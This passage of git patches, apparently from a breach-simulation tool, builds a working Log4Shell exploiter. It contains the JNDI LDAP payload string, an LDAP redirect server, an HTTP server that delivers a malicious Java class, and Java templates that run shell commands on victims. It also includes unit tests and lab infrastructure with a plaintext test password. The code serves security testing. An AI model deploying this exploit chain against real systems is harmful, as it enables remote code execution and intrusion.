agent_http_path = self._start_agent_http_server(paths) # Build agent execution command - command = self.build_command(paths["dest_path"], agent_http_path) + command = self._build_command(paths["dest_path"], agent_http_path) # Start http server to serve malicious java class to victim - self.start_class_http_server(command) + self._start_class_http_server(command) # Start ldap server to redirect ldap query to java class server - self.start_ldap_server() + self._start_ldap_server() - def start_agent_http_server(self, agent_paths: dict) -> str: + def _start_agent_http_server(self, agent_paths: dict) -> str: # Create server for http download and wait for it's startup. http_path, http_thread = HTTPTools.create_locked_transfer( self.host, agent_paths["src_path"] ) - self.agent_http_server_thread = http_thread + self._agent_http_server_thread = http_thread if not http_path: logger.debug("Exploiter failed, couldn't start an http server to serve agent.") raise Exception("Http server creation failed") logger.info("Started http server on %s", http_path) return http_path - def start_class_http_server(self, command: str): - java_class = self.build_java_class(command) + def _start_class_http_server(self, command: str): + java_class = self._build_java_class(command) - self.exploit_class_http_server = ExploitClassHTTPServer( - self.class_http_server_ip, self.class_http_server_port, java_class + self._exploit_class_http_server = ExploitClassHTTPServer( + self._class_http_server_ip, self.class_http_server_port, java_class ) # Setting `daemon=True` to save ourselves some trouble when this is merged to the # agent-refactor branch. # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` # constructor directly after merging to the agent-refactor branch. - self.exploit_class_http_server_thread = Thread( - target=self.exploit_class_http_server.run, daemon=True + self._exploit_class_http_server_thread = Thread( + target=self._exploit_class_http_server.run, daemon=True ) - self.exploit_class_http_server_thread.start() + self._exploit_class_http_server_thread.start() - def start_ldap_server(self): - self.ldap_server = LDAPExploitServer( - ldap_server_port=self.ldap_port, - http_server_ip=self.class_http_server_ip, + def _start_ldap_server(self): + self._ldap_server = LDAPExploitServer( + ldap_server_port=self._ldap_port, + http_server_ip=self._class_http_server_ip, http_server_port=self.class_http_server_port, storage_dir=get_monkey_dir_path(), ) @@ -109,26 +109,26 @@ class Log4ShellExploiter(WebRCE): # agent-refactor branch. # TODO: Make a call to `create_daemon_thread()` instead of calling the `Thread()` # constructor directly after merging to the agent-refactor branch. - self.ldap_server_thread = Thread(target=self.ldap_server.run, daemon=True) - self.ldap_server_thread.start() + self._ldap_server_thread = Thread(target=self._ldap_server.run, daemon=True) + self._ldap_server_thread.start() - def stop_servers(self): + def _stop_servers(self): logger.debug("Stopping all LDAP and HTTP Servers") - self.agent_http_server_thread.stop() - self.agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._agent_http_server_thread.stop() + self._agent_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self.exploit_class_http_server.stop() - self.exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._exploit_class_http_server.stop() + self._exploit_class_http_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - self.ldap_server.stop() - self.ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) + self._ldap_server.stop() + self._ldap_server_thread.join(Log4ShellExploiter.DOWNLOAD_TIMEOUT) - def build_ldap_payload(self): + def _build_ldap_payload(self): interface_ip = get_interface_to_target(self.host.ip_addr) - return f"${{jndi:ldap://{interface_ip}:{self.ldap_port}/dn=Exploit}}" + return f"${{jndi:ldap://{interface_ip}:{self._ldap_port}/dn=Exploit}}" # TODO remove duplication with infection_monkey.exploit.hadoop.HadoopExploiter.build_command - def build_command(self, path, http_path): + def _build_command(self, path, http_path): # Build command to execute monkey_cmd = build_monkey_commandline( self.host, get_monkey_depth() - 1, vulnerable_port=None @@ -145,7 +145,7 @@ class Log4ShellExploiter(WebRCE): "parameters": monkey_cmd, } - def build_java_class(self, exploit_command: str) -> bytes: + def _build_java_class(self, exploit_command: str) -> bytes: if "linux" in self.host.os["type"]: return build_exploit_bytecode(exploit_command, LINUX_EXPLOIT_TEMPLATE_PATH) else: @@ -159,12 +159,12 @@ class Log4ShellExploiter(WebRCE): ] for exploit in get_log4shell_service_exploiters(): for port in open_ports: - exploit.trigger_exploit(self.build_ldap_payload(), self.host, port) + exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) # Wait for request sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) - if self.exploit_class_http_server.exploit_class_downloaded(): + if self._exploit_class_http_server.exploit_class_downloaded(): self.exploit_info["vulnerable_service"] = { "service_name": exploit.service_name, "port": port, From aa6031378772271a47848420c277b48daa2959ef Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 12:33:54 -0500 Subject: [PATCH 40/77] Agent: Remove commented out code in ExploitClassHTTPServer --- .../exploit/log4shell_utils/exploit_class_http_server.py | 4 ---- 1 file changed, 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index bde6f91fb..22d9e4961 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -45,10 +45,6 @@ class ExploitClassHTTPServer: logger.debug("Starting ExploitClassHTTPServer") HTTPHandler.reset() - # while not self.exploit_class_downloaded(): - # self._server.handle_request() - # logger.error("loop") - self._server.serve_forever() logger.debug("The Java Exploit class HTTP server has stopped") From 7733ec29cafee13cc818afb244c9ad884036c80a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 16:41:57 -0500 Subject: [PATCH 41/77] Agent: Add source code for log4shell Java class templates --- .../log4shell_utils/JAVA_CLASS_README.md | 31 +++++++++++++++++++ .../exploit/log4shell_utils/LinuxExploit.java | 7 +++++ .../log4shell_utils/WindowsExploit.java | 7 +++++ 3 files changed, 45 insertions(+) create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java create mode 100644 monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java diff --git a/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md b/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md new file mode 100644 index 000000000..89aa19ddc --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/JAVA_CLASS_README.md @@ -0,0 +1,31 @@ +# Building Java class templates for log4shell + +## Summary +The log4shell exploiter provides two files, `LinuxExploit.class.template` and +`WindowsExploit.class.templete`. These files are served to a vulnerable machine +via LDAP and HTTP to achieve remote code execution. This README file contains +instructions for rebuilding these template files should it ever become +necessary. + +## Proceedure + +1. Copy the desired Linux or Windows Java source code to a new file named + `Exploit.java`. Both Java source code files contain a class named `Exploit`. + When building Java classes, the class name and the file name must match + exactly. + + ``` + $ cp LinuxExploit.java Exploit.java + ``` + +1. Use `javac` to build the Java class file. + ``` + $ javac Exploit.java + ``` + +1. Rename the `.class` file with the appropriate OS name. + ``` + $ mv Exploit.class LinuxExploit.class.template + ``` + +1. Remove the `Exploit.java` file, as it is no longer needed. diff --git a/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java new file mode 100644 index 000000000..f60e1ebe9 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/LinuxExploit.java @@ -0,0 +1,7 @@ +public class Exploit { + static { + try { + Runtime.getRuntime().exec(new String[]{"/bin/sh", "-c", "###"}); + } catch(Exception e) {} + } +} diff --git a/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java new file mode 100644 index 000000000..e91cfe810 --- /dev/null +++ b/monkey/infection_monkey/exploit/log4shell_utils/WindowsExploit.java @@ -0,0 +1,7 @@ +public class Exploit { + static { + try { + Runtime.getRuntime().exec(new String[]{"cmd.exe", "/c", "###"}); + } catch(Exception e) {} + } +} From c2f3042442a893d63196c454127223e6dd1d0f79 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 16:46:31 -0500 Subject: [PATCH 42/77] Agent: Move definition of exploit template constants for log4shell The LINUX_EXPLOIT_TEMPLATE_PATH and WINDOWS_EXPLOIT_TEMPLATE_PATH are not used in exploit_builder.py, and therefore have no reason to be defined in this file. They are now defined in the __init__.py --- monkey/infection_monkey/exploit/log4shell_utils/__init__.py | 6 ++++-- .../exploit/log4shell_utils/exploit_builder.py | 2 -- 2 files changed, 4 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py index 68de2d192..831ddec48 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/__init__.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/__init__.py @@ -1,9 +1,11 @@ +from pathlib import Path from .exploit_builder import ( build_exploit_bytecode, InvalidExploitTemplateError, - LINUX_EXPLOIT_TEMPLATE_PATH, - WINDOWS_EXPLOIT_TEMPLATE_PATH, ) from .ldap_server import LDAPExploitServer from .service_exploiters import get_log4shell_service_exploiters from .exploit_class_http_server import ExploitClassHTTPServer + +LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" +WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py index 831ddfc05..40b6d8bd4 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_builder.py @@ -3,8 +3,6 @@ from pathlib import Path # This code has been adapted from https://github.com/alexandre-lavoie/python-log4rce -LINUX_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "LinuxExploit.class.template" -WINDOWS_EXPLOIT_TEMPLATE_PATH = Path(__file__).parent / "WindowsExploit.class.template" INJECTION_TAG = "###" From a3cc64110178c6039c31b46b3505ca0acd2d1858 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 19:11:25 -0500 Subject: [PATCH 43/77] UT: Add unit tests for ExploitClassHTTPServer --- .../exploit_class_http_server.py | 12 ++-- .../test_exploit_class_http_server.py | 58 +++++++++++++++++++ 2 files changed, 66 insertions(+), 4 deletions(-) create mode 100644 monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 22d9e4961..4c0eca054 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -3,6 +3,8 @@ import logging logger = logging.getLogger(__name__) +HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 + class HTTPHandler(http.server.BaseHTTPRequestHandler): @@ -19,7 +21,9 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): def do_GET(self): if HTTPHandler.class_downloaded: - self.send_error(429, "Java exploit class has already been downloaded") + self.send_error( + HTTP_TOO_MANY_REQUESTS_ERROR_CODE, "Java exploit class has already been downloaded" + ) return HTTPHandler._set_class_downloaded() @@ -32,20 +36,20 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): class ExploitClassHTTPServer: - def __init__(self, ip: str, port: int, java_class: bytes): + def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): logger.debug(f"The Java Exploit class will be served at {ip}:{port}") HTTPHandler.java_class = java_class HTTPHandler.reset() self._server = http.server.HTTPServer((ip, port), HTTPHandler) - self._server.socket.settimeout(0.5) + self._poll_interval = poll_interval def run(self): logger.debug("Starting ExploitClassHTTPServer") HTTPHandler.reset() - self._server.serve_forever() + self._server.serve_forever(self._poll_interval) logger.debug("The Java Exploit class HTTP server has stopped") def stop(self): diff --git a/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py new file mode 100644 index 000000000..d111ef825 --- /dev/null +++ b/monkey/tests/unit_tests/infection_monkey/exploit/log4shell_utils/test_exploit_class_http_server.py @@ -0,0 +1,58 @@ +import threading + +import pytest +import requests + +from infection_monkey.exploit.log4shell_utils import ExploitClassHTTPServer +from infection_monkey.network.info import get_free_tcp_port + + +@pytest.fixture +def ip(): + return "127.0.0.1" + + +@pytest.fixture +def port(): + return get_free_tcp_port() + + +@pytest.fixture +def java_class(): + return b"\xde\xad\xbe\xef" + + +@pytest.fixture +def server(ip, port, java_class): + server = ExploitClassHTTPServer(ip, port, java_class, 0.01) + server_thread = threading.Thread(target=server.run) + server_thread.start() + + yield server + + server.stop() + server_thread.join() + + +@pytest.fixture +def exploit_url(ip, port): + return f"http://{ip}:{port}/Exploit" + + +@pytest.mark.usefixtures("server") +def test_only_single_download_allowed(exploit_url, java_class): + response_1 = requests.get(exploit_url) + assert response_1.status_code == 200 + assert response_1.content == java_class + + response_2 = requests.get(exploit_url) + assert response_2.status_code == 429 + assert response_2.content != java_class + + +def test_exploit_class_downloded(server, exploit_url): + assert not server.exploit_class_downloaded() + + requests.get(exploit_url) + + assert server.exploit_class_downloaded() From 176177b8cbace8692a94374d677ab921623e835a Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 19:14:51 -0500 Subject: [PATCH 44/77] Agent: Use threading.Event() in ExploitClassHTTPServer instead of bool --- .../exploit_class_http_server.py | 22 +++++++------------ 1 file changed, 8 insertions(+), 14 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index 4c0eca054..ba72412b4 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -1,5 +1,6 @@ import http.server import logging +import threading logger = logging.getLogger(__name__) @@ -9,24 +10,16 @@ HTTP_TOO_MANY_REQUESTS_ERROR_CODE = 429 class HTTPHandler(http.server.BaseHTTPRequestHandler): java_class: bytes - class_downloaded = False - - @classmethod - def reset(cls): - cls.class_downloaded = False - - @classmethod - def _set_class_downloaded(cls): - cls.class_downloaded = True + class_downloaded: threading.Event def do_GET(self): - if HTTPHandler.class_downloaded: + if HTTPHandler.class_downloaded.is_set(): self.send_error( HTTP_TOO_MANY_REQUESTS_ERROR_CODE, "Java exploit class has already been downloaded" ) return - HTTPHandler._set_class_downloaded() + HTTPHandler.class_downloaded.set() logger.info("Java class servergot a GET request!") self.send_response(200) self.send_header("Content-type", "application/octet-stream") @@ -38,16 +31,17 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): class ExploitClassHTTPServer: def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): logger.debug(f"The Java Exploit class will be served at {ip}:{port}") + self._class_downloaded = threading.Event() HTTPHandler.java_class = java_class - HTTPHandler.reset() + HTTPHandler.class_downloaded = self._class_downloaded self._server = http.server.HTTPServer((ip, port), HTTPHandler) self._poll_interval = poll_interval def run(self): logger.debug("Starting ExploitClassHTTPServer") - HTTPHandler.reset() + self._class_downloaded.clear() self._server.serve_forever(self._poll_interval) logger.debug("The Java Exploit class HTTP server has stopped") @@ -57,4 +51,4 @@ class ExploitClassHTTPServer: self._server.shutdown() def exploit_class_downloaded(self) -> bool: - return HTTPHandler.class_downloaded + return self._class_downloaded.is_set() From 6fa1d20e6aa680f1e0969adf3f685f6370e7d087 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 19:27:51 -0500 Subject: [PATCH 45/77] Agent: Add _initialize_http_handler() to ExploitClassHTTPServer --- .../log4shell_utils/exploit_class_http_server.py | 12 ++++++++---- 1 file changed, 8 insertions(+), 4 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py index ba72412b4..cabfb74ff 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/exploit_class_http_server.py @@ -31,13 +31,17 @@ class HTTPHandler(http.server.BaseHTTPRequestHandler): class ExploitClassHTTPServer: def __init__(self, ip: str, port: int, java_class: bytes, poll_interval: float = 0.5): logger.debug(f"The Java Exploit class will be served at {ip}:{port}") - self._class_downloaded = threading.Event() - HTTPHandler.java_class = java_class - HTTPHandler.class_downloaded = self._class_downloaded + self._class_downloaded = threading.Event() + self._poll_interval = poll_interval + + self._initialize_http_handler(java_class) self._server = http.server.HTTPServer((ip, port), HTTPHandler) - self._poll_interval = poll_interval + + def _initialize_http_handler(self, java_class: bytes): + HTTPHandler.java_class = java_class + HTTPHandler.class_downloaded = self._class_downloaded def run(self): logger.debug("Starting ExploitClassHTTPServer") From 24e891d8a8956b00dd7e64eb9c5fa2d133f612b3 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Wed, 12 Jan 2022 19:44:46 -0500 Subject: [PATCH 46/77] Agent: Fix formatting of web_rce.py --- monkey/infection_monkey/exploit/web_rce.py | 3 ++- 1 file changed, 2 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/web_rce.py b/monkey/infection_monkey/exploit/web_rce.py index 72d948c86..2be55ce3e 100644 --- a/monkey/infection_monkey/exploit/web_rce.py +++ b/monkey/infection_monkey/exploit/web_rce.py @@ -20,7 +20,8 @@ from infection_monkey.model import ( MONKEY_ARG, POWERSHELL_HTTP_UPLOAD, RUN_MONKEY, - WGET_HTTP_UPLOAD, VictimHost, + WGET_HTTP_UPLOAD, + VictimHost, ) from infection_monkey.network.tools import tcp_port_to_service from infection_monkey.telemetry.attack.t1197_telem import T1197Telem From aef7beedb3e1cd124923d9e6548f35a619416e50 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 13 Jan 2022 12:37:22 +0200 Subject: [PATCH 47/77] Zoo: add logstash machines that test log4shell --- envs/monkey_zoo/docs/fullDocs.md | 60 +++++++++++++++++++++++++ envs/monkey_zoo/terraform/images.tf | 8 ++++ envs/monkey_zoo/terraform/monkey_zoo.tf | 30 +++++++++++++ 3 files changed, 98 insertions(+) diff --git a/envs/monkey_zoo/docs/fullDocs.md b/envs/monkey_zoo/docs/fullDocs.md index 71a373843..01328eb03 100644 --- a/envs/monkey_zoo/docs/fullDocs.md +++ b/envs/monkey_zoo/docs/fullDocs.md @@ -1314,6 +1314,66 @@ Update all requirements using deployment script:

    Nr. 251 MonkeyIsland

    +

    Nr. 251 MonkeyIsland

    (10.2.2.251)

    + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-55 Log4j Logstash

    +

    (10.2.3.55)

    (Vulnerable)
    OS:Ubuntu 18.04LTS
    Software:Logstash 5.5.0Java 1.8.0
    Default server’s port:9600
    Notes:User: logstash
    + + + + + + + + + + + + + + + + + + + + + + + + + + + +

    Nr. 3-56 Log4j-logstash

    +

    (10.2.3.56)

    (Vulnerable)
    OS:Windows Server 2016 x64
    Software:Logstash 5.5.0Java 1.8.0
    Default server’s port:9600
    Notes:User: m0nk3y, Password: 7;@K"kPTM
    + + diff --git a/envs/monkey_zoo/terraform/images.tf b/envs/monkey_zoo/terraform/images.tf index b5a2fbee7..d32b964a5 100644 --- a/envs/monkey_zoo/terraform/images.tf +++ b/envs/monkey_zoo/terraform/images.tf @@ -93,6 +93,14 @@ data "google_compute_image" "log4j-solr-50" { name = "log4j-solr-50" project = local.monkeyzoo_project } +data "google_compute_image" "log4j-logstash-55" { + name = "log4j-logstash-55" + project = local.monkeyzoo_project +} +data "google_compute_image" "log4j-logstash-56" { + name = "log4j-logstash-56" + project = local.monkeyzoo_project +} data "google_compute_image" "weblogic-18" { name = "weblogic-18" project = local.monkeyzoo_project diff --git a/envs/monkey_zoo/terraform/monkey_zoo.tf b/envs/monkey_zoo/terraform/monkey_zoo.tf index c545af20c..cefc78af5 100644 --- a/envs/monkey_zoo/terraform/monkey_zoo.tf +++ b/envs/monkey_zoo/terraform/monkey_zoo.tf @@ -448,6 +448,36 @@ resource "google_compute_instance_from_template" "log4j-tomcat-52" { } } +resource "google_compute_instance_from_template" "log4j-logstash-55" { + name = "${local.resource_prefix}log4j-logstash-55" + source_instance_template = local.default_linux + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-logstash-55.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.55" + } +} + +resource "google_compute_instance_from_template" "log4j-logstash-56" { + name = "${local.resource_prefix}log4j-logstash-56" + source_instance_template = local.default_windows + boot_disk{ + initialize_params { + image = data.google_compute_image.log4j-logstash-56.self_link + } + auto_delete = true + } + network_interface { + subnetwork="${local.resource_prefix}monkeyzoo-main" + network_ip="10.2.3.56" + } +} + /* We need to alter monkey's behavior for this to upload 32-bit monkey instead of 64-bit (not yet developed) resource "google_compute_instance_from_template" "upgrader-17" { name = "${local.resource_prefix}upgrader-17" From 6b934d6de56a6a538438fe1bced6e4f2419c8aea Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 13 Jan 2022 08:56:23 -0500 Subject: [PATCH 48/77] Agent: Wrap log4shell LDAP server in a process A Twisted reactor can only be started and stopped once. It cannot be restarted after it has been stopped. To work around this, the reactor is configured and run in a separate process. This allows us to run multiple LDAP servers sequentially or simultaneously and stop each one when we're done with it. --- .../exploit/log4shell_utils/ldap_server.py | 47 ++++++++++++++----- 1 file changed, 34 insertions(+), 13 deletions(-) diff --git a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py index f0acac141..382993d68 100644 --- a/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py +++ b/monkey/infection_monkey/exploit/log4shell_utils/ldap_server.py @@ -1,3 +1,5 @@ +import logging +import multiprocessing import tempfile from pathlib import Path @@ -10,6 +12,8 @@ from twisted.internet.protocol import ServerFactory from twisted.python import log from twisted.python.components import registerAdapter +logger = logging.getLogger(__name__) + EXPLOIT_RDN = "dn=Exploit" @@ -63,33 +67,50 @@ class LDAPExploitServer: def __init__( self, ldap_server_port: int, http_server_ip: str, http_server_port: int, storage_dir: Path ): - LDAPExploitServer.output_twisted_logs_to_python_logger() + self._ldap_server_port = ldap_server_port + self._http_server_ip = http_server_ip + self._http_server_port = http_server_port + self._storage_dir = storage_dir + + # A Twisted reactor can only be started and stopped once. It cannot be restarted after it + # has been stopped. To work around this, the reactor is configured and run in a separate + # process. This allows us to run multiple LDAP servers sequentially or simultaneously and + # stop each one when we're done with it. + self._server_process = multiprocessing.Process( + target=self._run_twisted_reactor, daemon=True + ) + + def run(self): + self._server_process.start() + self._server_process.join() + + def _run_twisted_reactor(self): + self._configure_twisted_reactor() + logger.debug(f"Starting log4shell LDAP server on port {self._ldap_server_port}") + reactor.run() + + def _configure_twisted_reactor(self): + LDAPExploitServer._output_twisted_logs_to_python_logger() registerAdapter(lambda x: x.root, LDAPServerFactory, IConnectedLDAPEntry) - tree = Tree(http_server_ip, http_server_port, storage_dir) + tree = Tree(self._http_server_ip, self._http_server_port, self._storage_dir) factory = LDAPServerFactory(tree.db) factory.debug = True application = service.Application("ldaptor-server") service.IServiceCollection(application) - reactor.listenTCP(ldap_server_port, factory) + reactor.listenTCP(self._ldap_server_port, factory) @staticmethod - def output_twisted_logs_to_python_logger(): + def _output_twisted_logs_to_python_logger(): # Configures Twisted to output its logs using the standard python logging module instead of # the Twisted logging module. # https://twistedmatrix.com/documents/current/api/twisted.python.log.PythonLoggingObserver.html log_observer = log.PythonLoggingObserver() log_observer.start() - def run(self): - # For an explaination of installSignalHandlers=0, see - # https://twistedmatrix.com/trac/wiki/FrequentlyAskedQuestions#Igetexceptions.ValueError:signalonlyworksinmainthreadwhenItrytorunmyTwistedprogramWhatswrong - reactor.run(installSignalHandlers=0) - def stop(self): - # Since `reactor.run()` may not be running on the main thread, reactor.stop() must be - # invoked with reactor.callFromThread() - # https://twistedmatrix.com/documents/12.2.0/core/howto/threading.html - reactor.callFromThread(reactor.stop) + # The Twisted reactor registers signal handlers so it can catch SIGTERM and gracefully + # shutdown. + self._server_process.terminate() From a9d735593cf347b9c70fbc2806716d8a6245d3a0 Mon Sep 17 00:00:00 2001 From: Mike Salvatore Date: Thu, 13 Jan 2022 08:57:55 -0500 Subject: [PATCH 49/77] Agent: Wrap log4shell exploiters in a try/except --- monkey/infection_monkey/exploit/log4shell.py | 8 +++++++- 1 file changed, 7 insertions(+), 1 deletion(-) diff --git a/monkey/infection_monkey/exploit/log4shell.py b/monkey/infection_monkey/exploit/log4shell.py index b46570ba7..3f1a0c0fc 100644 --- a/monkey/infection_monkey/exploit/log4shell.py +++ b/monkey/infection_monkey/exploit/log4shell.py @@ -159,7 +159,13 @@ class Log4ShellExploiter(WebRCE): ] for exploit in get_log4shell_service_exploiters(): for port in open_ports: - exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) + try: + exploit.trigger_exploit(self._build_ldap_payload(), self.host, port) + except Exception as ex: + logger.warning( + "An error occurred while attempting to exploit log4shell on a " + f"potential {exploit.service_name} service: {ex}" + ) # Wait for request sleep(Log4ShellExploiter.REQUEST_TO_VICTIM_TIME) From a7b31dd9e41429b2386d57fd05162a8a6efb9d32 Mon Sep 17 00:00:00 2001 From: vakarisz Date: Thu, 13 Jan 2022 16:10:36 +0200 Subject: [PATCH 50/77] BB: add log4shell BB tests --- .../config_templates/log4j_logstash.py | 17 ++++++++++++++++ .../blackbox/config_templates/log4j_solr.py | 17 ++++++++++++++++ .../blackbox/config_templates/log4j_tomcat.py | 17 ++++++++++++++++ envs/monkey_zoo/blackbox/test_blackbox.py | 20 ++++++++++++++++++- 4 files changed, 70 insertions(+), 1 deletion(-) create mode 100644 envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py create mode 100644 envs/monkey_zoo/blackbox/config_templates/log4j_solr.py create mode 100644 envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py new file mode 100644 index 000000000..54c91ccca --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_logstash.py @@ -0,0 +1,17 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Log4jLogstash(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], + "basic_network.scope.depth": 2, + "basic_network.scope.subnet_scan_list": ["10.2.3.55", "10.2.3.56"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py new file mode 100644 index 000000000..ad5923b16 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_solr.py @@ -0,0 +1,17 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Log4jSolr(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], + "basic_network.scope.depth": 2, + "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"], + } + ) diff --git a/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py new file mode 100644 index 000000000..58efe5e64 --- /dev/null +++ b/envs/monkey_zoo/blackbox/config_templates/log4j_tomcat.py @@ -0,0 +1,17 @@ +from copy import copy + +from envs.monkey_zoo.blackbox.config_templates.base_template import BaseTemplate +from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemplate + + +class Log4jTomcat(ConfigTemplate): + + config_values = copy(BaseTemplate.config_values) + + config_values.update( + { + "basic.exploiters.exploiter_classes": ["Log4ShellExploiter"], + "basic_network.scope.depth": 2, + "basic_network.scope.subnet_scan_list": ["10.2.3.49", "10.2.3.50"], + } + ) diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py index 3b74f8961..e6e64d3cc 100644 --- a/envs/monkey_zoo/blackbox/test_blackbox.py +++ b/envs/monkey_zoo/blackbox/test_blackbox.py @@ -11,6 +11,9 @@ from envs.monkey_zoo.blackbox.config_templates.config_template import ConfigTemp from envs.monkey_zoo.blackbox.config_templates.drupal import Drupal from envs.monkey_zoo.blackbox.config_templates.elastic import Elastic from envs.monkey_zoo.blackbox.config_templates.hadoop import Hadoop +from envs.monkey_zoo.blackbox.config_templates.log4j_logstash import Log4jLogstash +from envs.monkey_zoo.blackbox.config_templates.log4j_solr import Log4jSolr +from envs.monkey_zoo.blackbox.config_templates.log4j_tomcat import Log4jTomcat from envs.monkey_zoo.blackbox.config_templates.mssql import Mssql from envs.monkey_zoo.blackbox.config_templates.performance import Performance from envs.monkey_zoo.blackbox.config_templates.powershell import PowerShell @@ -198,7 +201,22 @@ class TestMonkeyBlackbox: TestMonkeyBlackbox.run_exploitation_test(island_client, Weblogic, "Weblogic_exploiter") def test_shellshock_exploiter(self, island_client): - TestMonkeyBlackbox.run_exploitation_test(island_client, ShellShock, "Shellschock_exploiter") + TestMonkeyBlackbox.run_exploitation_test(island_client, 